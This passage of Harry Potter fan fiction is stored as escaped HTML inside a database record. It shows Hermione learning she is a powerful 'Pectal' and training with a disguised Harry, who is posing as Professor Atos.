we find Harry. It is possible that the boy has forgiven me, because of the potion I was given, but I don&#8217;t think I can ever forgive myself. How betrayed he must have felt, when his Headmaster, who had always supported him suddenly believed he was a murderer?&#8221; Dumbledore shook his head sadly. &#8220;I hope that I someday can say it to him, face to face at least.&#8221; </p>\n\n<p>He fixed his twinkling eyes on McGonagall. The usual twinkle, which had been gone the last two years, was slowly returning. &#8220;We have to tell Mr. Weasley and Miss Granger the truth. I believe Miss Granger hates Harry for what she believes he did; with Mr. Weasley I don&#8217;t know. There have been so many different stories about this in the newspapers, that I don&#8217;t think they know what to believe. The only one who has been close to the truth is Marice Newman,&#8221; he said, his eyes twinkling even more. </p>\n\n<p>McGonagall managed a dazed: &#8220;Yes, Albus,&#8221; before she left the office and decided to go to her rooms to sort out the last few minutes\' information, and get out of her shocked state.</p>\n\n<p>~*~</p>\n\n<p>Christian smiled and removed the listening spell he&#8217;d placed on the Headmasters office. So he&#8217;d figured it out. Well, he wouldn&#8217;t find Harry before Harry decided to be found.&nbsp; However, he had to be careful. Dumbledore was a very intelligent and observant man, and as long as he hadn&#8217;t taken any mind-potions Harry would trust him with his life, but for the time being he preferred to be in hiding. If &#8216;Christian&#8217; did anything suspicious, Dumbledore might start to suspect something, and investigate. As Christian he could be close to Dumbledore and The Order of Phoenix, where Dumbledore was the leader, and watch their movements, and he was free to do almost whatever he wanted.</p>\n\n<p>Dumbledore and Sirius were the only ones he trusted, and even though he and Hermione were destined to fight Voldemort, he didn&#8217;t trust her. He could maybe, with a bit time, forgive her and Ron and all the others, but never trust them again. And though he respected both Remus and McGonagall, he&#8217;d learned an important lesson; also the Hogwarts professors were humans, and humans make mistakes. He remembered his trial, if you could call it a trial, that is and though he&#8217;d been saying again and again that he was innocent, no one believed him, except Sirius. Not even Dumbledore had believed him, and at the time he was the one he hated the most. It was later he finally found out what had happened, and had of course forgiven him instantly. After a while the hate he felt for the others had dissolved too, but some bitterness and anger would always be there. But he knew better than to hate. Hate eats at you from the inside, until it destroys you. He&#8217;d soon learned that hating people is a waster of time and energy. </p>\n\n<p>It had been a good idea to eavesdrop; now he knew about that curse, which he hadn&#8217;t known about before. <i>Very interesting,</i> he thought. <i>Especially the last bit&#8230;</i> Yes, that was interesting indeed. Malfoy was a distant cousin&#8230; Harry snickered. </p>\n\n<p>Malfoy would drop dead to the ground if he ever heard that&#8230; </p>\n\n<p>~*~</p>\n\n<p>Hermione sat at the Gryffindor table and listened to the other girls, who chattered about boys, the new professor, homework, the new professor, their families and the new professor. It was quite annoying. However, though she wasn&#8217;t talking about him, she was thinking about him. There was something about him&#8230;something&#8230; weird. She couldn&#8217;t explain it. She sighed as Lavender launched into telling how sexy he was when he was sitting propped on his desk, with <i>that</i> gorgeous smile, <i>that</i> hair and <i>those</i> eyes. Honestly! The girl couldn&#8217;t talk about anything but boys! The next second Lavender turned dark blue. The other girls went silent a moment, before bursting into laughter. Lavender sat totally clueless, until she discovered her new appearance. She shrieked loudly.</p>\n\n<p>&#8220;Who did this?&#8221; she screamed. The whole hall then noticed and started laughing. Lavender started searching for the prankster, but that wasn&#8217;t easy; it could be anyone. Even Hermione had to smile. Lavender was currently throwing a huge temper tantrum, when Professor Atos came up behind her. He cleared his throat, and the whole hall immediately went silent, it was like magic; not even Dumbledore could manage that.</p>\n\n<p>&#8220;Why don\'t you all go back to your meal?&#8221; he asked. &#8220;As far as I know it is usually very tasty.&#8221; In the next second the hall was back to normal. </p>\n\n<p>Lavender turned to the Professor. &#8220;Professor, look what someone did to me!&#8221; </p>\n\n<p>Professor Atos managed to suppress a smile out of sheer politeness. &#8220;I&#8217;ve noticed,&#8221; he said and removed the colour with a flick of his wand. &#8220;However, Miss Brown, there is not much I can do, besides ask everyone in here who did it, and I doubt anyone would admit it.&#8221;</p>\n\n<p>Hermione smiled, as it was obvious to her that the whole thing amused him, though no one else noticed that.</p>\n\n<p>&#8220;Miss Granger,&#8221; he said, and she turned to look at him. &#8220;Would you please come with me? The Headmaster wants to speak with you.&#8221; <i>What could that be about?</i> She thought, but followed him out of the Hall, not noticing the envious glares she got from the other girls.</p>\n\n<p>~*~</p>\n\n<p>In the Headmaster\'s office Professor Dumbledore and Professor McGonagall were waiting for her. Professor Atos closed the door behind them. Hermione looked around, confused. Why should <i>three</i> professors want to talk to her?</p>\n\n<p>&#8220;Please sit down Miss Granger, we have something to tell you.&#8221; Professor Dumbledore said. As she sat down, Dumbledore leaned forward and looked her directly into her eyes. &#8220;What we are going to tell you now might change your life forever, Miss Granger, maybe for the worse. However, we must know.&#8221; Now Hermione was utterly confused. Know what? &#8220;Your Defence Against the Dark Arts Professor suspects that you are a Pectal,&#8221; the Headmaster said. Hermione arched her eyebrows. &#8220;Do you know what a Pectal is, Miss Granger?&#8221; he asked.</p>\n\n<p>&#8220;N-no, not really sir. I&#8217;ve read about Citatios, and it told about the Pectal being the Citatio\'s female counter-part. I don&#8217;t know what that means, though,&#8221; she answered.</p>\n\n<p>Dumbledore nodded. &#8220;Well then, I&#8217;ll ask Professor Atos to explain this to you.&#8221; </p>\n\n<p>Professor Atos stepped forward, holding a small crystal ball in his hand. &#8220;Miss Granger, when I tried the pleasure curse on you earlier today, you managed to counter it within two minutes the first time, which is very impressive. But not only that, your eyes turned silver, and instead of creating a shield around your mind so the curse would just bounce off, you absorbed it. I felt the connection between you and my wand disappear. It was just&#8230; gone.&#8221; Hermione looked at him shocked. She hadn&#8217;t realised she&#8217;d done that! &#8220;You also absorbed the colour charm I cast at you, and stored it inside of you, however not all of it, as I had to remove it afterwards. You painted Miss Brown fairly nice down there.&#8221; His lips twitched.</p>\n\n<p>&#8220;It was me? I did that?&#8221;</p>\n\n<p>He grinned. &#8220;You did, and I guess that sooner or later someone will feel the effect of the Comfort curse too.&#8221; His face turned serious again. &#8220;If you indeed are a Pectal, Miss Granger, you are extremely powerful. They are, as you mentioned, the Citatios\' female counter-parts, and every time a Citatio is born, a Pectal is born too, or the other way around. However, little is known about them. There exist writings of the Citatios\' Powers, of what they might be able to do, but no such thing is written about the Pectals. History has almost ignored them and centred the attention on the Citatio. The only thing we know for sure, is that the Pectal\'s eyes turn silver when they use their power, just as the Citatio\'s eyes turn gold.&#8221; </p>\n\n<p>Hermione nodded. &#8220;But why isn&#8217;t there anything written about Pectals?&#8221; she asked.</p>\n\n<p>Professor Atos shrugged. &#8220;Honestly I don&#8217;t know. Sexism maybe.&#8221; He saw Hermione\'s eyes narrow. &#8220;You must remember that the last Pectal and Citatio lived a thousand years ago. Females didn&#8217;t have the same respect as males, or the same social status, and therefore were mostly ignored when the history books were written.&#8221; He looked thoughtful a minute. &#8220;We have to test if you really are a Pectal, and if the books I&#8217;ve read are right, I know how to do it.&#8221; He showed her the crystal he held. It was completely white. &#8220;Inside this ball I&#8217;ve stored a stunning curse. If you are a Pectal, you should be able to withdraw the curse from the ball without your wand, store it inside of you, and then send it out again.&#8221; He held the ball up. &#8220;You have to trust your instincts.&#8221; </p>\n\n<p>Hesitantly Hermione reached out a hand and took the ball, and instantly she felt the magic inside it. <i>What should I do now?</i> She thought. She tried to reach out with her mind, tried to recall what she&#8217;d done earlier that day, and suddenly she felt it. Like a small knot. As if the curse was a thin, thin thread, with a knot at the end. She tried to take it, but couldn&#8217;t. Then she understood it. The knot was what held the curse inside of the ball, and she had to untie it, or maybe cut it. Carefully she imagined that the knot untied itself, willed it to untie. And it did. A sudden flash, and she stood there with a small ball of glass, no longer white, but see-through. She looked up and saw a grinning Professor Atos, a surprised Professor McGonagall, and an amused Professor Dumbledore. When he saw her confusion, Professor Atos laughed and conjured up a mirror. Hermione gasped and dropped the ball to the floor. It shattered. </p>\n\n<p>Her eyes were gleaming. The pupils and the irises were silvery, and small silver threads were spreading over the rest of the eyeballs.</p>\n\n<p>&#8220;Now, Miss Granger, try to release the curse,&#8221; Professor Atos&#8217;s voice reached through her dazed mind. <i>Yeah, right. Release the curse</i>. &#8220;Just try to push it away like you did earlier.&#8221; <i>Push? Push.</i> She pushed against the invisible orb, which was the curse, willed it to get out. Slowly it &#8216;moved&#8217;, if you could call it that inside a person\'s mind, and just before the curse reached the &#8216;surface&#8217; of her mind, the border between mind and not mind, -her subconscious mind- took over, and the curse was directed through her arm and out. Unfortunately, as the curse shot through her palm, she raised her arm and directed it against Professor Atos. The white light hit him and sent him flying backwards, hitting a bookcase and crumpling to the floor. As if from far away, Hermione heard Professor McGonagall gasp, as Professor Dumbledore rushed forward to check on his now unconscious Professor. Hermione sank back into the chair; she hadn&#8217;t even realised she&#8217;d been standing. As she slowly returned to normal mode, she realised what she&#8217;d done. She heard Professor Dumbledore mutter an &#8216;enervate&#8217;, before helping the dazed Professor Atos to his feet, and then repairing his bookcase. Professor Atos stumbled forward when the Headmaster let go of his grip, and just barely managed to grab onto a chair before he fell. </p>\n\n<p>He groaned. &#8220;Did anyone get the number of that bulldozer?&#8221; he muttered drowsily while rubbing the back of his head.</p>\n\n<p>&#8220;I&#8217;m so sorry, Professor!&#8221; Hermione said, almost hysterically. &#8220;I-I didn&#8217;t mean to-&#8220;</p>\n\n<p>&#8220;It&#8217;s quite all right, Miss Granger, I asked you to do it, but could you and your twin-sister please stop screaming? It gives me a terrible headache,&#8221; he said, and it took a couple seconds before Hermione realised what he meant with &#8216;twin-sister&#8217;. He was seeing double.</p>\n\n<p>Professor McGonagall now was in her right place. She quickly helped the poor Professor to sit down, and then ordered briskly that he should go to the Hospital Wing. </p>\n\n<p>Professor Atos took a deep breath. &#8220;Minerva, I&#8217;m fine. Honestly, I&#8217;ll be okay in an hour or so.&#8221; Then his eyes unfocused a second, before he smiled at Hermione. &#8220;Why thank you, Miss Granger, but you didn&#8217;t need to do that,&#8221; he said, and Hermione realised she&#8217;d used the already stored Comfort curse&#8230; err, charm at him. Then he again had to assure McGonagall that he was fine. Unfortunately, McGonagall hadn&#8217;t been Head of Gryffindor House for years and years for nothing. </p>\n\n<p>&#8220;Christian, the strength in that curse was ten times what is normal. No stunning curse I&#8217;ve seen has sent the victim flying into the wall. You need to go to see Poppy.&#8221; She said.</p>\n\n<p>His objections hit the wall, and before you could say &#8216;Stupefy&#8217;, he was on his way out of the door and down to the Hospital Wing, muttering angrily under his breath, leaving Hermione giggling hysterically, partly due to the strain she&#8217;d been through, and partly because her Professor just had been ordered around like a small child by another of her Professors. Even Dumbledore was chuckling. Finally Hermione managed to get out of her hysterics, though she was still smiling widely. She turned to Professor Dumbledore again. She didn&#8217;t really know what to do now. However, Dumbledore had his plans ready.</p>\n\n<p>&#8220;Miss Granger,&#8221; he began. &#8220;As you see, you are a very powerful witch. You understand that you have to train your powers, and that it has to be kept secret?&#8221; She nodded. &#8220;Not even Mr. Weasley must know.&#8221; She nodded again. &#8220;I need you to read some material on Pectals. It is a book in the Restricted Section, which contains a few paragraphs on Pectals and Citatios. It is called <i>Magical History: Great Wizards And Witches and their Power</i>.&#8221;</p>\n\n<p>&#8220;I have that in my dorm, Professor,&#8221; she said. </p>\n\n<p>Dumbledore smiled. &#8220;Very well. Read what you find about Pectals there, and then come to the Defence Against the Dark Arts classroom on Saturday, at four o&#8217; clock. We&#8217;ll be there, and then we&#8217;ll start your training, though there isn&#8217;t much we can do for you, I&#8217;m afraid, you must do most of it yourself.&#8221; Hermione nodded. Dumbledore sighed; now came the worst part: Getting Hermione to believe in Harry&#8217;s innocence. If she believed and told Ron, he&#8217;d believe it to, Dumbledore thought.</p>\n\n<p>&#8220;Miss Granger, I will now tell you something which is a highly classified Ministry secret.&#8221; Hermione\'s eyes widened. &#8220;I believe you&#8217;ve read the Daily Prophet during the summer?&#8221; Without waiting for an answer, Dumbledore continued. &#8220;I want to tell you the truth about Harry Potter. The absolute truth.&#8221; </p>\n\n<p>Hermione went deadly pale.</p>\n\n<p>~*~</p>\n\n<p>That night Hermione couldn&#8217;t sleep. She lay tossing and turning, thinking about her being a Pectal, and Harry. It didn&#8217;t really sink in. So Harry was innocent, he really was. She wanted to deny it, but knew that she would end up believing it. </p>\n\n<p>Deep down she knew why she tried to deny it. She was ashamed. Ashamed that she could accuse Harry of such a thing, ashamed that she had hated him the last two years because of what he&#8217;d done. What she&#8217;d <i>thought</i> he&#8217;d done. And it wasn&#8217;t just that. Finally, after two long years, she dared to admit to herself that she&#8217;d had feelings for her best friend of four years. She&#8217;d felt so betrayed, so utterly betrayed. And now she&#8217;d hated him for two years because she&#8217;d made a mistake. It was terrible; she&#8217;d even wanted him dead.</p>\n\n<p>Hermione cried herself to sleep that night, and she dreamed of Harry. </p>\n\n<p>She dreamed that he smiled at her, and drew his hand through his messy hair and was just drop dead gorgeous, and that he laid his arms around her, and kissed her passionately, and Hermione wished it would never end. But just as he kissed her, Hermione woke up. </p>\n\n<p>When she realised it was only a dream, she began to cry again. She&#8217;d give anything to get Harry to forgive her, if they ever met again. But it was hopeless, and she knew it. She fell into an uneasy sleep again, and when she woke up the next morning, the dream was just a vague memory.</p>\n\n<p>====================</p> '),
	(234, 5, '\n\n\n\n<p class="MsoNormal"><b>Chapter Five: Training</b> </p>\n\n<p class="MsoNormal">Hermione told Ron about Harry being\ninnocent the next day. He took it calmly, and Hermione couldn&#8217;t quite read his\nexpression. Inside Ron however, was chaos of confused feelings; he couldn&#8217;t\neven understand them himself. Sometimes he wished that Harry was innocent (now\nhe knew he was), and that everything was like before, but other times hatred\nand envy would come over him, and he would wish Harry dead and what was worse.\nHe&#8217;d always known he&#8217;d been cynical, though no one else knew that, but now he\ncould do something for one of his classmates and not want anything in return,\nsomething that was very unlike him. It was like one part of him wished to get\nrid of this cynicism, but another part grabbed it desperately. It was Harry&#8217;s\nfault, that was for sure. Harry had changed him a lot in the few years they&#8217;d\nknown each other, and he&#8217;d gone from being extremely cynical to be almost&#8230;\nnormal at times. And now Ron didn&#8217;t know if he should be grateful for it, or\nhate him for it. Life was so complicated at times!</p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">Hermione\nhurried down the corridor. It was Saturday and she was two minutes late to her\nfirst training session. She struggled with the large book, and shifted it from\none hand to another. Finally she stood outside the Defence against the Dark\nArts classroom, took a deep breath, and lifted her hand to knock, but&#8230;</p>\n\n<p class="MsoNormal">&#8220;Come in.&#8221; </p>\n\n<p class="MsoNormal">Her eyes\nwidened. Professor Atos seemed to have the same ability to see through doors\nand walls as Professor Dumbledore. She went in and greeted the three Professors.\n</p>\n\n<p class="MsoNormal">Professor\nAtos beamed at her. &#8220;I see you have the book. I hope it wasn&#8217;t difficult to\nfind, I&#8217;ve seen the library here.&#8221; </p>\n\n<p class="MsoNormal">Hermione\nsmiled. &#8220;I had it in my dorm, Professor.&#8221; </p>\n\n<p class="MsoNormal">He raised\nan eyebrow. &#8220;Oh? A bit of &#8216;light&#8217; reading, I suppose?&#8221; Hermione blushed; she&#8217;d\noften been teased for her love of books. Professor Atos chuckled. &#8220;I used to do\nthat too, at Beauxbatons. It made my friends look at me as a bit weird, but&#8230;&#8221;\nhe trailed of. Neither Hermione nor Christian noticed that McGonagall and\nDumbledore traded looks when they saw how easy the two were with each other. </p>\n\n<p class="MsoNormal">The chairs\nand desks were lined up along the wall, so they had a nice training area in the\nmiddle of the classroom, but it didn&#8217;t seem like they were going to start with\nthe concrete training today. Professor Atos told Hermione to ask questions, and\nhe&#8217;d try to answer the best he could.</p>\n\n<p class="MsoNormal">&#8220;Miss\nGranger,&#8221; he said, &#8220;I guess you have a few questions, and I&#8217;ll try to answer\nthem, but be aware that much of my knowledge is based on what is known about\nCitatios. I don&#8217;t believe the difference between them is big, but it is a\ndifference. The biggest one is that while Citatios discover their abilities at\na young age, and are able to train themselves in every thinkable and\nunthinkable art without any tutoring, the Pectal\'s power rarely is discovered\nbefore she is twenty years old, and she has to be trained by a Citatio. And\ndon&#8217;t ask me why that is, &#8216;cause I don&#8217;t know, it&#8217;s just the way it is.&#8221;</p>\n\n<p class="MsoNormal">Hermione\nnodded. &#8220;Oh, I see. But I&#8217;m not twenty yet.&#8221;</p>\n\n<p class="MsoNormal">&#8220;No, you\naren&#8217;t, and it can mean two things: One, you&#8217;re very powerful and the effects\nof this is starting to show now. I mean that the power tries to force its way\nout of you. Or two; you are weaker than the other Pectals the history has told\nabout, and that you didn&#8217;t need twenty years to grow into a body and mind able\nto control your power.&#8221; Christian paused. &#8220;I believe in the last explanation.&#8221;\nHe flashed her a bright smile.</p>\n\n<p class="MsoNormal">&#8220;However,\nwhat you have to learn is to use your power and abilities. Now you can only absorb\nthe spells, though you must remember there are some spells you cannot absorb,\nlike the killing curse. It would kill you if you tried. You have to learn to\nuse your inner energy, so that you don&#8217;t have to absorb the spells before you\ncan use them. And then there are the aforementioned special abilities&#8221;</p>\n\n<p class="MsoNormal">&#8220;Oh.&#8221; Why\ndid she use &#8216;oh&#8217; so often when he was around? &#8220;Okay. But what kind of\n&#8216;abilities&#8217; do I have?&#8221;</p>\n\n<p class="MsoNormal">&#8220;We have\nyet to find out. I guess you can have the same abilities as a Citatio, like\nMind-reading, Empathy, Telekinesis, Beast-speaking, Languages, Soul-searching,\nShapeshifting, Element-Manipulation, Persuading, Voice, Healing and Telepathy.&#8221;\n</p>\n\n<p class="MsoNormal">Hermione\nraised an eyebrow. &#8220;Yes, and I knew what all of that meant.&#8221; She said\nsarcastically. He laughed.</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t\nworry, I&#8217;ll explain as we learn what kind of abilities you have.&nbsp; It\'s a lot of information, so we better not\ntake everything at once.&#8221; he said.</p>\n\n<p class="MsoNormal">&#8220;Okay,\nProfessor. I have a question for you: What are Pectal powers really? What can I\ndo?&#8221; </p>\n\n<p class="MsoNormal">He took a\ndeep breath. &#8220;The Power allows the Pectal to do things a normal witch can&#8217;t do.\nYou can use normal wand magic, but it will always be stronger than any others\'.\nThat is because a wand strengthens the magic in a normal witch, but it controls\nand lessens the magic in a Pectal. And since a Pectal is much, much stronger\nthan an average witch, your lessened power is still stronger than the normal\nstrengthened power of another magician.&#8221; </p>\n\n<p class="MsoNormal">Hermione\nraised an eyebrow. &#8220;So I have never used the full extent of my power, just a\nbit of it? That&#8217;s why I never have any problems with spells?&#8221;</p>\n\n<p class="MsoNormal">&#8220;Most\nlikely,&#8221; he answered. &#8220;so you will be able to use your wand, though then you\nhave to say the words. If you use your Power it will be much stronger and you\ndon\'t have to say anything, just think it instead. And you can shoot it through\nyour palm, but you will get a better aim if you use, for example, a stick or a\nknife or even a sword.&#8221; </p>\n\n<p class="MsoNormal">Hermione\nthought of that for a second. &#8220;So I kind of have two different &#8216;powers&#8217;, one as\na Pectal and one as a witch?&#8221;</p>\n\n<p class="MsoNormal">Professor\nAtos nodded. &#8220;You can say that, but I&#8217;d say you have three. One as Pectal, one\nas witch, and one as a Multiple Talent.&#8221; </p>\n\n<p class="MsoNormal">Hermione\nlooked at him questioningly. &#8220;What? Multiple Talent?&#8221;</p>\n\n<p class="MsoNormal">&#8220;Yes, that\nis your special abilities.&#8221; He said, &#8220;Those I talked about. You will not have\nevery one of them, but you will certainly have more than one. Also a normal\nwitch or wizard can have one of those abilities, and those who have are called\na Talent. You will be a Multiple Talent because you&#8217;re a Pectal.&#8221;</p>\n\n<p class="MsoNormal">The rest of\nthe lesson was spent asking and answering questions, and making arrangements\nfor future lessons. It was decided that Professor Atos should be her main\ntutor, as he knew the most about Pectals, but Professor Dumbledore and\nProfessor McGonagall would also help. Hermione was ordered to not tell anyone,\nas that could be dangerous. As she was about to leave, Hermione asked the\nquestion that had bugged her. </p>\n\n<p class="MsoNormal">&#8220;Professor,\nyou said that when a Citatio is born, there is always a Pectal born within his\nlifetime, or the other way around. You also said that the Citatio was supposed\nto be the Pectal&#8217;s trainer. Where is my trainer? And is there something more\nthan training between the Pectal and the Citatio? I mean, as they are always\nborn at the same time?&#8221; </p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t\nknow, Miss Granger. Your trainer is probably looking for you, and if these\nhadn\'t been such dark times we&#8217;d have published the news about a Pectal at\nHogwarts, so he could find you. But that would be too dangerous for you.&#8221; He\nlooked at her. &#8220;As for your second questions&#8230; Maybe. Godric Gryffindor and\nRowena Ravenclaw married, and you cannot marry a normal wizard. You have to\nmarry the Citatio, or not marry at all.&#8221; He chuckled. &#8220;Shortens the list quite\na bit, doesn&#8217;t it?&#8221; He saw Hermione shift uncomfortably. &#8220;Don&#8217;t worry Miss\nGranger. When we find the Citatio I think you&#8217;ll know if he&#8217;s the one or not.&#8221; </p>\n\n<p class="MsoNormal">Hermione\nhesitated a bit. Professor McGonagall and Professor Dumbledore had left\nalready. &#8220;Professor?&#8221; </p>\n\n<p class="MsoNormal">He looked\nup from the papers he was reading. Probably preparing for the next lessons.\n&#8220;Yes?&#8221; he answered.</p>\n\n<p class="MsoNormal">&#8220;If- If\nhe&#8217;s the one, what would it be like? I mean, would it be like I fell in love\nwith him, or would I just know that &#8216;it&#8217;s him&#8217;?&#8221; </p>\n\n<p class="MsoNormal">He looked\ngenuinely surprised. Then he sighed. &#8220;I don&#8217;t know. There is so much I don&#8217;t\nknow. But I know one thing. You will not be able to fall in love with anyone\nelse.&#8221; He studied her with his blue eyes. She nodded and hurriedly left. She&#8217;d\nsaid too much anyway.</p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">Harry\ncouldn&#8217;t sleep that night. He thought about Hermione. She&#8217;d grown a lot the\nlast two years, and not only in height. She was a beautiful girl. Her hair had\nlost most of it&#8217;s fluffiness, and had a brown colour with a goldish tinge. Now\nit hung in gentle waves down her back. <i style="mso-bidi-font-style:normal">A\nwonder she has no boyfriend yet, </i>he thought, <i style="mso-bidi-font-style:\nnormal">she certainly is very beautiful. I wish&#8230;</i> he broke of. <i style="mso-bidi-font-style:normal">Hey Harry boy. She believed you were a\nmurderer. You shall help her as well as you can, and the two of you shall save\nthe world. Hopefully. But you shall not trust her or fall for her. Understood?\nFine. Go to sleep.</i> </p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">Hermione\nstruggled with her own feelings. He said I cannot fall in love with anyone but\nthe Citatio. If I even can fall in love. But I am in love. I love Harry. But\nhe&#8217;s gone. The more she thought about it, the more sure she became. She had\nfeelings for Harry. Which meant he had to be the Citatio. Her real tutor. Maybe\neven her life mate. He had to be the Citatio. She&#8217;d suspected it when she read\nabout Citatios, but now she was sure. But whom could she tell? &#8216;Hey, Professor,\nI know who the Citatio is. His name is Harry Potter. How do I know? Oh, you\nsee, I&#8217;m in love with him. But he doesn&#8217;t know, and he probably hates me\nbecause I believed he was a murderer.&#8217; She couldn&#8217;t say that.</p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">It was\nNovember. The lessons were going on as usual, and Hermione was on top of her\nclass, as usual. No one found it weird that she disappeared every Saturday\nafternoon, as she&#8217;d told them she had &#8216;extra lessons&#8217; in Healing, as she wanted\nto be a nurse after school. It was kind of true, as Professor Atos had figured\nshe had a special Talent for Healing. Her powers developed, and so far she&#8217;d\nlearned that she was a Healer and an Empath, which meant she could read peoples\nfeelings. When she&#8217;d first discovered that, she&#8217;d almost gone mad before she\nlearned how to &#8216;shut&#8217; off. She&#8217;d read every little feeling everyone had for two\nwhole days. However, she had no Mind-reading abilities whatsoever. She also had\na very small amount of Talent in Voice. This had been easy to learn, as Professor\nAtos had this Talent too. If you had Voice as a Talent, you could silence a\ncrowd in a second and turn everyone&#8217;s attention towards yourself. You could\nalso turn the attention away from yourself. Hermione had seen him use it in the\nGreat Hall when she&#8217;d painted Lavender blue. Lavender still didn&#8217;t know this,\nand it annoyed her to no end, as people now had started to call her &#8216;Blue&#8217;.</p>\n\n<p class="MsoNormal">Professor\nAtos was currently trying to find out if she was able to Manipulate an Element.\nWhen he&#8217;d mentioned this she&#8217;d been shocked, cause she thought that was\nimpossible.</p>\n\n<p class="MsoNormal"><i>~~~~~~Flashback~~~~~~</i></p>\n\n<p class="MsoNormal"><i>&#8220;Element-Manipulation is often called\nElement-Mani. You will maybe be able to control one or two elements.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;Hermione\'s eyes had gone wide. In every generation there were born\nfour Elemental Guardians, one for Fire, one for Earth, one for Water and one\nfor Air. None others could have an Elemental Talent.</i></p>\n\n<p class="MsoNormal"><i>&#8220;What?&#8221; Hermione said, shocked. &#8220;But I\nthought only Elements could-&#8221; </i></p>\n\n<p class="MsoNormal"><i>He interrupted her. &#8220;Wrong, Miss\nGranger,&#8221; he said, &#8220;True, only Elements can Talk to their Element, Travel with\nit or Ask it about a favour or something, but I was talking about Element\nManipulation. Elements rely on the good will of their Element. Of course, an\nElement has never refused its guardian anything yet, but they cannot control\nit. You can. That is, if you have an element.&#8221;</i></p>\n\n<p class="MsoNormal"><i>~~~~~~End\nFlashback~~~~~~</i></p>\n\n<p class="MsoNormal">And now he\nwas trying to find if she had any Talent with Fire. She&#8217;d tried to light the\ncandle for an hour now, and was <i style="mso-bidi-font-style:normal">very </i>bored.\nThey had been training for two hours, and she was tired. In the end she&#8217;d had\nenough.</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s\nenough, I obviously have no Talent for Fire Manipulation.&#8221; She said firmly.\nProfessor Atos refused to take the hint, and gave her a small twig from a young\nbirch and told her to try to get it to grow leaves. She sent him an <i style="mso-bidi-font-style:normal">I&#8217;m-tired-and-I-want-to-end-the-training-session-right-now</i>,\nlook. He ignored it. She sighed and went to work. After a few minutes with no\nluck, she gave up. She was tired and irritated, and any reasonable young man\nwould know better than to cross her path. Obviously, Professor Atos didn&#8217;t know\nthat. He saw that Hermione had stopped to even try to Manipulate the twig.</p>\n\n<p class="MsoNormal">&#8220;Miss\nGranger, didn&#8217;t I tell you to try to Manipulate the Element of Earth?&#8221; he asked\nsoftly.</p>\n\n<p class="MsoNormal">&#8220;You did, but\nI didn\'t manage it,&#8221; she said shortly. </p>\n\n<p class="MsoNormal">He smiled\nslightly at her. &#8220;You must remember to trust your instincts, Miss Gran-&#8221;\nHermione exploded.</p>\n\n<p class="MsoNormal">&#8220;REMEMBER\nTO TRUST MY INSTINCTS! THAT&#8217;S EVERYTHING YOU SAY! YOU HAVE ANY IDEA HOW\nDIFFICULT IT IS? TRUST YOUR INSTINCTS, TRUST YOUR INSTINCTS! CAN&#8217;T YOU COME UP\nWITH ANYTHING BETTER? IT&#8217;S NOT EASY!&#8221;</p>\n\n<p class="MsoNormal">Every other\nman would have tried to run and hide when Hermione lost her temper that way.\nAnd any Professor would certainly have taken a lot of points. Professor Atos however,\ndid neither. He smiled and looked at the twig she held in her hand.</p>\n\n<p class="MsoNormal">&#8220;Very well,\nMiss Granger. It seems like you have a Talent with Earth,&#8221; he said. Hermione\nlooked at the twig. And true, two small, green leaves had suddenly decided to\npop out.</p>\n\n<p class="MsoNormal">&#8220;Oh.&#8221;\nHermione said, sheepishly, remembering it wasn&#8217;t that smart to yell at a\nprofessor. He grinned, as she turned red in embarrassment. </p>\n\n<p class="MsoNormal">&#8220;I think\nit&#8217;s time to end this lesson. You&#8217;re tired, so I suggest you get some sleep.\nNext week well test your abilities with Water and Air,&#8221; Professor Atos said,\nsmiling. Hermione muttered a &#8216;goodnight&#8217; and quietly slipped out of the door.</p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">Ron had\ndone a lot of thinking the last few months, but he couldn&#8217;t decide what to do.\nOne thing he knew was that he didn&#8217;t have any future here in England, with\nHarry always looming over him as the &#8216;Perfect Boy-Who-Lived&#8217;. If he wanted to\nget what he wanted, he had to be cynical, and that was something he was good\nat. He wouldn&#8217;t see his seven year old plans being ruined. He&#8217;d always been a\ngood actor, and now he had to play better than ever. Parvati Patil&#8217;s father was\nan Auror, and using Parvati he could get a good job after graduating. Then he\ncould make his way easily from there. Before long everyone should know his\nname. The Famous Ron Weasly. Sounded good. Making a career of capturing Death\nEaters. Not bad. With his little contact in the Death Eater ranks it shouldn&#8217;t\nbe that difficult. But Ron had started to look at &#8216;Bad or Good&#8217;, not only\n&#8216;Successful or Unsuccessful&#8217;. And he knew that was bad.</p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">Harry sat\ngrading the fourth year\'s last test after Hermione left. It had been a\ndifficult few months, as he had to appear as the Golden Mask at times, and\nstill be at Hogwarts as Christian. More than once he&#8217;d had to use an advanced\nversion of his Azkaban illusion. This one couldn&#8217;t walk through objects, and\ncould appear as a real human if you touched it, but it wasn&#8217;t so good at\nbehaving like a human. It was also exhausting to keep it going, as using pure\nPectal or Citatio powers drained you. You had to train yourself over the years,\nso that after a few years you could keep it going for a while. Therefore he\nused much wand-magic when he fought as the Golden Mask, as it didn&#8217;t drain any\nof his energy. Only problem was that it was less effective.</p>\n\n<p class="MsoNormal">Another\nproblem was what to teach Hermione. She&#8217;d progressed far beyond his\nexpectations, but she wasn&#8217;t Hogwarts top student for nothing, and he&#8217;d used\nhis Telepathic Talent to plant ideas and information in her head, without her\nnoticing of course. But this meant that he couldn&#8217;t teach her Telepathy,\nbecause then she would guess it at once. Voice he could teach her because she\nbelieved he was one of the magicians who had one of the Talents. If she&#8217;d known\nhe was her real tutor, he could tell her much more than he&#8217;d done. For example\nhe already knew that she was a Beast-speaker, but he couldn&#8217;t really say it to\nher. &#8216;Hey, Hermione, you&#8217;re a Beast-speaker. Oh, I know because I&#8217;m the\nCitatio, and I have the ability to see some of your Talents&#8217;. That just\nwouldn&#8217;t work, especially because Hermione knew that Harry Potter was the\nCitatio. He&#8217;d read her mind to find out what she knew, and if she suspected\nsomething. She didn&#8217;t suspect Christian, but he&#8217;d found out she knew that Harry\nwas the Citatio. And he&#8217;d only tried to read once. No more. Honestly, he had\nethics! But he thanked his lucky stars that she wasn&#8217;t a Mind-reader, he&#8217;d\nproblems enough with keeping his shields against her Empathy, and it would be\neven more 